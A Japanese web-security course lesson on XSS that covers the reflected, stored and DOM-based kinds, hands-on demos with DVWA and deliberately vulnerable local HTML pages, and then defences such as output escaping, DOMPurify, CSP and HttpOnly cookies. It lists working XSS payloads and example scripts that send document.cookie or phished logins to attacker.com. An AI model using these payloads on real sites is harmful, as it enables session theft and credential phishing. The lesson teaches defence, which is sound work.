1-6. XSS(クロスサイトスクリプティング) - ブラウザ側のインジェクション

所要時間: 35-50分 ゴール: XSS の3種類(Reflected / Stored / DOM-based)を区別できる。出力時エスケープ・CSP・HttpOnly Cookie の役割を理解する。React/Vue の落とし穴を把握する コミット内容: NG/OK 両方の HTML / JS サンプルを ~/learn/security/day06_xss/ に残す


前章とのつながり

このレッスンの位置づけ

前章 1-5 SQLi対の関係。両方ともインジェクションだが攻撃する場所が違う。

観点SQLi (前章)XSS (本章)
攻撃される場所サーバー側DBユーザーのブラウザ
注入されるものSQL文JavaScript
被害者サービス運営者サービスの利用者
防御の基本prepared statement出力時エスケープ + CSP
OWASP分類A03 (Injection)A03 (Injection)

本質は同じ: 「データとコードの分離」をどこで・どう行うか。SQLi で身につけた発想を、別の文脈に転用する回。

実害シーン: XSS の実被害

  • MySpace - Samy Worm (2005): たった20時間で100万人に感染、SNS全停止。攻撃コードは1行のXSS
  • British Airways (2018): Magecart が決済ページにXSS → 38万件のクレカ情報窃取 → GDPR罰金 約36億円
  • eBay (2014-2017): Stored XSS が3年放置、フィッシング悪用

XSS は ユーザー側の被害が直接的。あなたのサービスを使った利用者の口座が空になる、というレベルの実害が起きる。


大前提: XSS は「他人のブラウザを乗っ取る」攻撃

前回のSQLi が「サーバー側のDB」を狙う攻撃だったのに対し、XSS は 「他人のブラウザ」 を狙う。攻撃者は脆弱なサイトを踏み台にして、被害者のブラウザで任意のJavaScriptを動かす。

XSS で何ができるか:

  • セッションCookieを奪う(=他人のアカウントでログインしたまま操作)
  • 画面の偽装(偽のログインフォームを表示してパスワード窃取)
  • キーロガー をブラウザに仕込む
  • CSRF防御を突破して任意操作(被害者の権限で送金など)
  • マルウェア配布サイトへリダイレクト

実際に起きた事件:

  • MySpace - Samy Worm (2005): 「Samyが友達」と表示されるXSSワーム。20時間で 100万人 に感染し SNS をダウンさせた。Samy Kamkar 本人は3年の保護観察処分
  • British Airways (2018): Magecart 集団が決済ページにXSSでスクリプトを仕込み、38万件のクレカ情報が盗まれた。GDPR で 2200万ポンド の罰金
  • eBay (2014-2017): 商品ページにStored XSS脆弱性が長年存在、フィッシングに悪用された

このレッスンで「出力時エスケープが防御の基本」を体に刻む。


セッション①: XSS の3種類と攻撃の仕組み(25-30分)

0. 検証用脆弱アプリの起動

このレッスンで使う攻撃デモ環境を起動する。Docker が必要。

# 作業ディレクトリ
mkdir -p ~/log ~/learn/security/day06_xss
cd ~/learn/security/day06_xss
script ~/log/security_day06.log
 
# DVWA を起動(手元で SQLi / XSS を試せる脆弱アプリ)
docker run --rm -d --name dvwa -p 8080:80 vulnerables/web-dvwa
# → ブラウザで http://localhost:8080 を開く(初期ユーザー: admin / password)
 
# または OWASP Juice Shop
# docker run --rm -d --name juiceshop -p 3000:3000 bkimminich/juice-shop

検証環境は隔離する

DVWA / Juice Shop は 本気で脆弱なアプリ。インターネット公開しないで、ローカルか隔離環境で動かすこと。レッスン終わったら必ず停止: docker stop dvwa (または juiceshop)

1. XSS の本質

XSS の本質

Web アプリが ユーザー入力をHTMLにそのまま埋め込んでいる とき、攻撃者が <script> タグや onerror= などを混入させ、被害者のブラウザでJSを実行させる。

SQLi が「データがSQL構文として解釈される」なら、XSS は「データがHTML/JS構文として解釈される」。根本構造は同じ「データとコードの分離失敗」

名前の「Cross-Site」は 攻撃者サイトから被害者のブラウザ経由で標的サイトに作用する 構図から来ている。今はXSS全般を指す用語として定着。

2. Reflected XSS(反射型)

攻撃者: 仕掛けたURLを被害者にメール送付
   ↓
被害者: URLをクリック
   ↓
ブラウザ: そのURLを脆弱サイトにリクエスト
   ↓
サーバー: URLパラメータを HTML にそのまま埋め込んで返す
   ↓
ブラウザ: 埋め込まれたJSを実行
https://example.com/search?q=<script>alert(document.cookie)</script>

サーバーが「検索結果ページ」で q の値をHTMLに埋め込む実装だと、<script> がそのまま動く。

Reflected XSS の特徴

  • URLにペイロードが入っている
  • 被害者にそのURLをクリックさせる必要がある(フィッシングメール、SNS投稿など)
  • 一回限り(被害者ごと、URLごと)

ユースケース: 標的型フィッシング、ばらまき型キャンペーン 落とし穴: 「自分ではアクセスしないから安全」では済まない。リンクを踏ませる手口は無数にある(短縮URL、見た目を偽装、QRコード)

3. Stored XSS(蓄積型)- 一番危ない

攻撃者: コメント欄に <script>...</script> を投稿
   ↓
サーバー: DBに保存
   ↓
被害者A、B、C... が普通にコメント欄を開く
   ↓
全員のブラウザで攻撃JSが実行

Stored XSS の被害規模

  • DBに永続化 = ページを訪れた 全ユーザー が被害
  • 継続的に被害が拡大: コメント欄、プロフィール、メッセージなど、人が見る場所すべてが攻撃面
  • 管理者も被害者になる: 管理画面でユーザーのプロフィールを開いた瞬間に攻撃JSが管理者ブラウザで実行 → 権限昇格

Samy Worm (MySpace) はこのパターンの極致。1人の投稿が連鎖的に拡散し、20時間で100万感染した。

Stored XSS の現れる場所

ユーザー入力が他のユーザーにも表示される箇所すべて:

  • コメント、レビュー
  • プロフィール(自己紹介、ユーザー名)
  • チャット
  • フォーラム投稿
  • 商品説明(マーケットプレイスなら出品者の入力)
  • 検索ワードを「最近の検索」として保存
  • ファイル名(アップロードしたファイル名を表示する)

4. DOM-based XSS

// 脆弱な JavaScript
const hash = location.hash.substring(1); // URLのフラグメント取得
document.getElementById("output").innerHTML = hash;

URL https://example.com/page#<img src=x onerror=alert(1)> でアクセスすると、innerHTML 経由で攻撃JSが実行される。

DOM-based XSS の特徴

  • サーバーは一切関与しない = サーバー側で防げない
  • クライアントサイドJSのバグ
  • SPA時代に増えた: React/Vue/Angular でも実装次第で発生する
  • 検知が難しい(サーバーログには痕跡が残らない)

「innerHTML」「document.write」「eval」「Function()」など、文字列を実行可能なものとして扱う API が温床。

5. ハンズオン: XSS を実感する

# シンプルな脆弱HTMLを作って試す
cat > vulnerable.html << 'EOF'
<!DOCTYPE html>
<html>
<head><title>XSS Demo</title></head>
<body>
  <h1>コメント表示</h1>
  <div id="output"></div>
  <script>
    // URLのクエリパラメータから取得して innerHTML に流し込む(NG実装)
    const params = new URLSearchParams(location.search);
    const comment = params.get('comment') || '';
    document.getElementById('output').innerHTML = comment;
  </script>
</body>
</html>
EOF
 
# ローカルサーバーで開く
python3 -m http.server 8000
# ブラウザで以下を試す
# 1. http://localhost:8000/vulnerable.html?comment=hello
#    → 普通に "hello" が表示される
# 2. http://localhost:8000/vulnerable.html?comment=<img src=x onerror=alert(1)>
#    → アラートが出る(XSS成功)

試すべきペイロード

<script>alert(1)</script>
<img src=x onerror=alert(document.cookie)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
"><script>alert(1)</script>

<script> が無くても発火する」ことを確認するのが学びのコア。<img onerror><svg onload> は意外と知られていない。

# OWASP Juice Shop でも体系的に試せる
docker run --rm -p 3000:3000 bkimminich/juice-shop
# http://localhost:3000 → Score Board からXSSチャレンジへ

6. 攻撃で何が起きるか - 実例ペイロード

セッションCookieの窃取(古典)

<script>
fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie));
</script>

攻撃者は受信した Cookie を自分のブラウザにセットして被害者になりすませる。

HttpOnly Cookie で緩和可能(後述)

偽ログインフォームの設置

<script>
document.body.innerHTML = `
  <form action="https://attacker.com/phish" method="post">
    セッションが切れました。再ログインしてください。
    <input name="user">
    <input name="pass" type="password">
    <button>ログイン</button>
  </form>`;
</script>

サイトのドメインで動いているので、被害者は本物と疑わない。

任意の操作実行

<script>
// 「アカウント削除API」を被害者の権限で叩く(CSRF防御を持つサイトでも、XSSがあれば突破可能)
fetch('/api/account', { method: 'DELETE', credentials: 'include' });
</script>

CSRF トークンを取得してから送る、なんてXSSなら造作もない。


セッション②: 防御 - エスケープ、CSP、Cookie(25-30分)

7. 防御の基本原則: 出力時エスケープ

XSS 防御の最重要原則

「ユーザー入力をHTMLとして出力するときに、HTML特殊文字をエスケープする」

文字エスケープ後
<&lt;
>&gt;
&&amp;
"&quot;
'&#39;

こうすると <script>alert(1)</script>&lt;script&gt;alert(1)&lt;/script&gt; となり、ブラウザは「

「入力時エスケープ」ではなく「出力時エスケープ」が正解: データを使う文脈(HTML本文、属性、JS文字列、URL)でエスケープルールが違うため、保存時点では決められない。

8. テンプレートエンジンの自動エスケープ

現代のフレームワークは自動エスケープが基本

Go の html/template(自動エスケープあり):

import "html/template"
 
tmpl, _ := template.New("page").Parse(`<div>{{.Comment}}</div>`)
tmpl.Execute(w, struct{ Comment string }{Comment: "<script>alert(1)</script>"})
// 出力: <div>&lt;script&gt;alert(1)&lt;/script&gt;</div>

text/template ではなく html/template を使う。これが超重要。

NG: text/template を Web 出力に使うと自動エスケープされない。

React(自動エスケープあり):

<div>{userComment}</div>
{/* userComment が <script> でも、テキストとして表示される */}

Vue(自動エスケープあり):

<div>{{ userComment }}</div>

9. テンプレートを 回避する 危険な書き方

React の dangerouslySetInnerHTML

<div dangerouslySetInnerHTML={{ __html: userComment }} />
// userComment に <script> が含まれていたら実行される(厳密にはReactはscriptタグを動かさないが、onerror等は動く)

名前に「dangerously」と入っている時点で「使う前に考えろ」というメッセージ。<script>タグ自体はReactが特殊扱いするが、<img onerror><svg onload>は普通に動く。

Vue の v-html

<div v-html="userComment"></div>

同じく、HTMLとして展開される。v-html を見たら警戒する。

JS の innerHTML

element.innerHTML = userInput; // NG
element.textContent = userInput; // OK(テキストとして扱われる)

「文字列としてDOMに突っ込むなら textContent」が鉄則。

サニタイズ自前実装

// NG: 自前でタグ除去
const safe = input.replace(/<script>/g, ''); // バイパス可能

自前で書くと必ず穴がある。<scr<script>ipt> のような入れ子に対応できない。

10. HTMLとして表示する必要がある場合(ユーザー入力にリッチテキストを許可)

DOMPurify を使う

マークダウンエディタ、コメント欄でリッチテキスト(太字、リンク)を許可したいケース。

import DOMPurify from 'dompurify';
 
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean; // ここはOK(事前サニタイズ済み)

DOMPurify は 許可リストベース: 安全と判定したタグ・属性以外は全部除去する。実績豊富で信頼できる。

マークダウンを使う場合: marked.js のような変換ライブラリで HTML 化した後、必ず DOMPurify を通す。

11. Content Security Policy (CSP)

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

CSP の本質

サーバーが HTTP ヘッダーで 「このページでは指定したオリジン以外のスクリプトを実行するな」 とブラウザに命令する。

主なディレクティブ:

  • default-src 'self': 全リソースは自ドメインから
  • script-src 'self': スクリプトは自ドメインのみ
  • script-src 'nonce-abc123': nonce が一致するスクリプトのみ実行
  • style-src 'self': スタイルシートも制限
  • img-src https:: 画像はHTTPSなら何処からでも
  • frame-ancestors 'none': iframeでの埋め込み禁止(クリックジャッキング対策)

XSSで <script> を注入されても、CSP が許可していないオリジンなら実行されない。多層防御として超強力。

CSP の落とし穴

  • unsafe-inline を使うとほぼ意味がない: インラインスクリプトを許可してしまうとXSSで仕込んだ <script> も動く。避ける
  • unsafe-eval も避ける: eval() new Function() を許可するとXSSの幅が広がる
  • 既存サイトに後付けで導入するのは大変: インライン JS を全部外部化 or nonce 付与が必要
  • 新規サイトでは最初から script-src 'self' で始める が一番楽
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

Cookie のセキュリティ属性

属性効果
HttpOnlyJavaScript からアクセス不可 (document.cookie で見えない)
SecureHTTPS でしか送信されない
SameSite=Strictクロスサイトリクエストでは送信されない(CSRF対策)
SameSite=Laxデフォルト挙動。トップレベルナビゲーションのみ送信
Path適用パス
Domain適用ドメイン

XSSがあっても HttpOnly Cookie は盗めない: document.cookie を実行しても HttpOnly のものは取得できない。

ただしXSSがあれば「被害者のブラウザから直接API叩く」ことは可能なので、HttpOnly は「セッションIDの窃取は防げるが、被害は限定的に減らせる」緩和策。XSS そのものを直す必要は変わらない。

セッション Cookie の正解

認証セッション用 Cookie には 3点セット を必ず付ける:

Set-Cookie: session=<random>; HttpOnly; Secure; SameSite=Lax; Path=/

13. その他の防御策

レスポンスヘッダーで強化

X-Content-Type-Options: nosniff
  → ブラウザのMIMEスニッフィング無効化
 
X-Frame-Options: DENY
  → iframe 埋め込み禁止(クリックジャッキング対策)
 
Referrer-Policy: strict-origin-when-cross-origin
  → リファラーから内部URLを漏らさない

securityheaders.com で診断できる。

フレームワーク特有の対策

  • Next.js: デフォルトで自動エスケープ。dangerouslySetInnerHTML 使用時のみ要注意
  • SvelteKit: 同じく自動エスケープ
  • Rails: ERB が自動エスケープ。raw ヘルパーで意図的に解除
  • Django: {{ var }} は自動エスケープ。{% autoescape off %} で解除(注意)

14. Go と JS 両方でのコード例

// Go: html/template(推奨)
package main
 
import (
	"html/template"
	"net/http"
)
 
func handler(w http.ResponseWriter, r *http.Request) {
	tmpl := template.Must(template.New("page").Parse(`
		<html><body>
			<h1>こんにちは {{.Name}}</h1>
			<div>コメント: {{.Comment}}</div>
		</body></html>
	`))
	data := struct {
		Name    string
		Comment string
	}{
		Name:    r.URL.Query().Get("name"),
		Comment: r.URL.Query().Get("comment"),
	}
	// XSSペイロードを送っても自動エスケープされる
	tmpl.Execute(w, data)
}
 
func main() {
	http.HandleFunc("/", handler)
	http.ListenAndServe(":8080", nil)
}
// JS: 安全な書き方
// NG
element.innerHTML = userInput;
 
// OK
element.textContent = userInput;
 
// 必要があれば
import DOMPurify from "dompurify";
element.innerHTML = DOMPurify.sanitize(userInput);
// React: 普通に書けば安全
function Comment({ text }) {
  return <div>{text}</div>;  // OK: 自動エスケープ
}
 
// NG(明示的に「危険」と宣言する場合のみ使う)
function UnsafeComment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
 
// 必要なら DOMPurify を挟む
import DOMPurify from "dompurify";
function SafeRichComment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />;
}

15. 多層防御まとめ

XSS 防御の階層

  1. テンプレートエンジンの自動エスケープを信じる(第一防御線)
  2. dangerouslySetInnerHTML / v-html / innerHTML を避ける
  3. 必要ならDOMPurify でサニタイズ
  4. CSP で実行可能スクリプトを制限(第二防御線)
  5. HttpOnly + Secure + SameSite Cookie で被害最小化
  6. X-Content-Type-Options / X-Frame-Options で関連攻撃も塞ぐ
  7. 入力検証: メアド形式、URL形式などのバリデーション(補助的)
  8. WAF: 既知パターンの検出(最後の保険)

練習課題

# 1. NG版を作って自分で攻撃する
mkdir -p ~/learn/security/day06_xss
cd ~/learn/security/day06_xss
 
cat > ng.html << 'EOF'
<!DOCTYPE html>
<html><body>
<form>
  <input id="msg" placeholder="コメント">
  <button type="button" onclick="render()">投稿</button>
</form>
<div id="out"></div>
<script>
function render() {
  const v = document.getElementById('msg').value;
  document.getElementById('out').innerHTML = v; // NG
}
</script>
</body></html>
EOF
 
# 2. OK版を作る
cat > ok.html << 'EOF'
<!DOCTYPE html>
<html><body>
<form>
  <input id="msg" placeholder="コメント">
  <button type="button" onclick="render()">投稿</button>
</form>
<div id="out"></div>
<script>
function render() {
  const v = document.getElementById('msg').value;
  document.getElementById('out').textContent = v; // OK
}
</script>
</body></html>
EOF
 
# 3. 両方をブラウザで開いて以下を入力
python3 -m http.server 8000
# - <script>alert(1)</script>
# - <img src=x onerror=alert(1)>
# - <svg onload=alert(1)>

観察ポイント

  • NG版でアラートが出ることを確認
  • OK版で同じ入力をしてもタグがテキスト表示になることを確認
  • innerHTMLtextContent の違いが体感できる
# 4. CSP を効かせる
cat > csp.html << 'EOF'
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
</head>
<body>
<div id="out"></div>
<script>
const params = new URLSearchParams(location.search);
document.getElementById('out').innerHTML = params.get('c') || '';
</script>
</body></html>
EOF
# CSP のおかげで <script>alert(1)</script> を注入してもインラインスクリプトはブロックされる

締め: 振り返り(10分)

1. セッション録画を終了

exit

2. 今日の発見

- Reflected/Stored/DOM の違いを1分で説明できるか:
- 自分が触ったコードで innerHTML / dangerouslySetInnerHTML を使った場所:
- HttpOnly Cookie の役割と限界:
- 一番怖いと感じた XSS シナリオ:

チェックリスト

  • XSS の3種類を区別して説明できる
  • <script> 無しで XSS 発火するペイロードを2つ以上知っている
  • Go で html/template を使う理由を説明できる
  • React の dangerouslySetInnerHTML の危険性を言える
  • CSP の script-src 'self' の意味を言える
  • HttpOnly Cookie で何が防げて何が防げないか言える
  • DOMPurify の使い所を知っている
  • 実際に脆弱HTMLで XSS を発火させた

詰まった時のチートシート

やりたいこと答え
Goでテンプレhtml/templatetext/template ではない)
Reactで安全<div>{value}</div>(普通の書き方でOK)
JSでDOMにテキスト挿入textContent (innerHTML ではない)
リッチテキスト許可DOMPurify でサニタイズ
CSP最小script-src 'self'; default-src 'self'
Cookie正解HttpOnly; Secure; SameSite=Lax
iframe禁止X-Frame-Options: DENY
MIMEスニフィングX-Content-Type-Options: nosniff

「実務OK」基準

  • テンプレートエンジンの自動エスケープを信頼しつつ、回避APIに警戒できる
  • CSP を新規プロジェクトで最初から設定する発想がある
  • Cookie の HttpOnly/Secure/SameSite の3点セットを当たり前に設定する
  • innerHTML を見たら反射的に「textContent じゃダメ?」と考える
  • dangerouslySetInnerHTML を見たらレビューで止める

メタ認知: 自分の理解度を診断する

30秒セルフテスト

  1. Reflected / Stored / DOM-based XSS の違いを 1行ずつ
  2. <script> を使わない XSS ペイロードを1つ
  3. html/templatetext/template のどっちを Web で使う? なぜ?
  4. CSP の script-src 'self' で防げるのは? 防げないのは?
  5. HttpOnly Cookie が 防げない 攻撃は?

5問即答 できたら Level 2 へ進む準備OK。詰まったらその項目を再読してから次へ。

Level 1 完走の振り返り(メタ認知)

Level 1 で身につけたこと

  1. 認証と認可を分けて考える (1-1)
  2. パスワードは bcrypt/argon2 で保存 (1-2)
  3. HTTPS は当然、HSTS で守る (1-3)
  4. OWASP Top 10 で全体地図を持つ (1-4)
  5. SQLi は prepared statement で防ぐ (1-5)
  6. XSS は出力時エスケープ + CSP で防ぐ (1-6)

共通する発想: ユーザー入力を信用しない / データとコードを分離する / 「ログインしたから何でも見せる」を許さない。

Level 2 では 実装の深掘り(JWT、セッション、CSRF/SSRF、シークレット、入力検証、認可設計)へ。Level 1 の基礎概念を コードで実現する フェーズ。

次のレッスン

Level 1 セキュリティ編はここで一区切り。次は Level 2 2-1 JWT に進む。

間隔反復ポイント(Level 1 卒業時の習慣)

1-1 から 1-6 までの 「詰まった時のチートシート」 を、印刷するか1ファイルにまとめて、週1回1分で眺める 習慣をつけると、業務でセキュリティ判断が必要な時に瞬発的に出るようになる。

Level 2 で扱うトピック: